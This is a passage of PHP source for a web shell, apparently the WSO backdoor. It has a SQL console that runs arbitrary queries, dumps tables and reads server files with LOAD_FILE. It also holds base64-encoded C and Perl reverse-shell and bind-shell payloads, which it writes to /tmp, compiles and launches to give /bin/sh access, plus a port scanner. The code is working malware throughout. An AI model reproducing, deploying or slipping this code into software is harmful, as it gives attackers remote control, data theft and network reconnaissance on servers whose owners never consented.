1353 case "Windows-1251": $db->setCharset('cp1251'); break;
1354 case "UTF-8": $db->setCharset('utf8'); break;
1355 case "KOI8-R": $db->setCharset('koi8r'); break;
1356 case "KOI8-U": $db->setCharset('koi8u'); break;
1357 case "cp866": $db->setCharset('cp866'); break;
1358 }
1359 $db->listDbs();
1360 echo "<select name=sql_base><option value=''></option>";
1361 while($item = $db->fetch()) {
1362 list($key, $value) = each($item);
1363 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1364 }
1365 echo '</select>';
1366 }
1367 else echo $tmp;
1368 }else
1369 echo $tmp;
1370 ?></td>
1371 <td><input type=submit value=">>"></td>
1372 </tr>
1373 </table>
1374 <script>
1375 function st(t,l) {
1376 document.sf.p1.value = 'select';
1377 document.sf.p2.value = t;
1378 if(l!=null)document.sf.p3.value = l;
1379 document.sf.submit();
1380 }
1381 function is() {
1382 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1383 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1384 }
1385 </script>
1386 <?php
1387 if(isset($db) && $db->link){
1388 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1389 if(!empty($_POST['sql_base'])){
1390 $db->selectdb($_POST['sql_base']);
1391 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1392 $tbls_res = $db->listTables();
1393 while($item = $db->fetch($tbls_res)) {
1394 list($key, $value) = each($item);
1395 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1396 $value = htmlspecialchars($value);
1397 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1398 }
1399 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1400 if(@$_POST['p1'] == 'select') {
1401 $_POST['p1'] = 'query';
1402 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1403 $num = $db->fetch();
1404 $num = $num['n'];
1405 echo "<span>".$_POST['p2']."</span> ($num) ";
1406 for($i=0;$i<($num/30);$i++)
1407 if($i != (int)$_POST['p3'])
1408 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1409 else
1410 echo ($i+1)," ";
1411 if($_POST['type']=='pgsql')
1412 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1413 else
1414 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1415 echo "<br><br>";
1416 }
1417 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1418 $db->query(@$_POST['p3']);
1419 if($db->res !== false) {
1420 $title = false;
1421 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1422 $line = 1;
1423 while($item = $db->fetch()) {
1424 if(!$title) {
1425 echo '<tr>';
1426 foreach($item as $key => $value)
1427 echo '<th>'.$key.'</th>';
1428 reset($item);
1429 $title=true;
1430 echo '</tr><tr>';
1431 $line = 2;
1432 }
1433 echo '<tr class="l'.$line.'">';
1434 $line = $line==1?2:1;
1435 foreach($item as $key => $value) {
1436 if($value == null)
1437 echo '<td><i>null</i></td>';
1438 else
1439 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1440 }
1441 echo '</tr>';
1442 }
1443 echo '</table>';
1444 } else {
1445 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1446 }
1447 }
1448 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1449 echo "</td></tr>";
1450 }
1451 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1452 if(@$_POST['p1'] == 'loadfile') {
1453 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
1454 $file = $db->fetch();
1455 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1456 }
1457 }
1458 echo '</div>';
1459 printFooter();
1460}
1461// Sql end -------------------------
1462// Network go --------------------
1463function actionNetwork() {
1464 printHeader();
1465 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
1466 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1467 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
1468 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1469 echo "<h1>Network tools</h1><div class=content>
1470 <form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
1471 <span>Bind port to /bin/sh</span><br/>
1472 Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value='>>'>
1473 </form>
1474 <form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>
1475 <span>Back-connect to</span><br/>
1476 Server: <input type='text' name='server' value=". $_SERVER['REMOTE_ADDR'] ."> Port: <input type='text' name='port' value='31337'> Using: <select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value='>>'>
1477 </form><br>";
1478 if(isset($_POST['p1'])) {
1479 function cf($f,$t) {
1480 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1481 if($w) {
1482 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
1483 @fclose($w);
1484 }
1485 }
1486 if($_POST['p1'] == 'bpc') {
1487 cf("/tmp/bp.c",$bind_port_c);
1488 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
1489 @unlink("/tmp/bp.c");
1490 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
1491 echo "<pre class=ml1>$out".ex("ps aux | grep bp")."</pre>";
1492 }
1493 if($_POST['p1'] == 'bpp') {
1494 cf("/tmp/bp.pl",$bind_port_p);
1495 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
1496 echo "<pre class=ml1>$out".ex("ps aux | grep bp.pl")."</pre>";
1497 }
1498 if($_POST['p1'] == 'bcc') {
1499 cf("/tmp/bc.c",$back_connect_c);
1500 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
1501 @unlink("/tmp/bc.c");
1502 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
1503 echo "<pre class=ml1>$out".ex("ps aux | grep bc")."</pre>";
1504 }
1505 if($_POST['p1'] == 'bcp') {
1506 cf("/tmp/bc.pl",$back_connect_p);
1507 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
1508 echo "<pre class=ml1>$out".ex("ps aux | grep bc.pl")."</pre>";
1509 }
1510 }
1511 echo '</div>';
1512 printFooter();
1513}
1514// Network end --------------------
1515// Port Scanner go --------------------
1516function actionPortScanner() {
1517 printHeader();
1518 echo '<h1>Port Scanner</h1>';
1519 echo '<div class="content">';
1520 echo '<form action="" method="post">';
1521
1522 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1523 $start = strip_tags($_POST['start']);
1524 $end = strip_tags($_POST['end']);
1525 $host = strip_tags($_POST['host']);
1526 for($i = $start; $i<=$end; $i++){
1527 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1528 if($fp){
1529 echo 'Port '.$i.' is <font color=lime>open</font><br>';
1530 }
1531 flush();
1532 }
1533 } else {
1534 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
1535 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1536 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1537 Host: <input type="text" name="host" value="localhost"/><br /><br />
1538 Port start: <input type="text" name="start" value="0"/><br /><br />
1539 Port end:<input type="text" name="end" value="5000"/><br /><br />
1540 <input type="submit" value="Scan Ports" />
1541 </form></center><br /><br />';
1542 }
1543 echo '</div>';
1544 printFooter();
1545}
1546// Port Scanner end --------------------
1547if( empty($_POST['a']) )
1548 if(isset($default_action) && function_exists('action' . $default_action))
1549 $_POST['a'] = $default_action;
1550 else
1551 $_POST['a'] = 'FilesMan';
1552if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1553 call_user_func('action' . $_POST['a']);
1554?>